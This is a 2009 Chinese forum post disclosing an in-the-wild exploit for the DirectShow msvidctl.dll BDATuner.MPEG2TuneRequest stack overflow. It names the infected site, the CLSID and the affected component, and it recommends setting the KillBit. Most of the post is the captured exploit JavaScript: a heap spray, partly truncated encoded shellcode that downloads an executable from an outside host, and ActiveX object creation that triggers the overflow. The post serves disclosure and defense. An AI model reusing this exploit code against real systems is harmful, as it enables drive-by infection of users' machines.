BDATuner.MPEG2TuneRequest新漏洞(?)

显示全部楼层 · 发表于 2009-7-4 22:47:46

发现日期:2009-7-4

被挂马网站: 8oy4t.8866.org

挂马页: hxxp://8oy4t.8866.org/aa/go.jpg

漏洞名: BDATuner.MPEG2TuneRequest Stack Overflow Exploit

CLSID: 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF

软件: Microsoft DirectShow(msvidctl.dll)

版本: Possible all avaliable versions

from: http://safelab.spaces.live.com
ShellCode如下（有缩略）：

var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
var dashell=unescape(nndx+'%u5858%u5858%u10EB%u4B5B.....%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%uD5DB%uc9c9%u87cd%u9292%ud4d0%ud1d1%ud6d1%ude93%ud0d2%uca92%u92d0%ucbce%ud5de%uced2%u93c9%uc5d8%ubdd8%ubdBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA'); // xor:0BD
var headersize=20;
var omybro=unescape(nndx);
var slackspace=headersize+dashell.length;
while(omybro.length<slackspace)
omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
shuishiMVP=omybro.substring(0,omybro.length-slackspace);
while(shuishiMVP.length+slackspace<0x30000) //生成大量数据
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
for(x=0;x<300;x++)
memory[x]=shuishiMVP+dashell;
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif'; //一个非GIF文件
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

得知试图访问hxxp://milllk.com/wm/svchost.exe，请为此对象设置KillBit防范漏洞。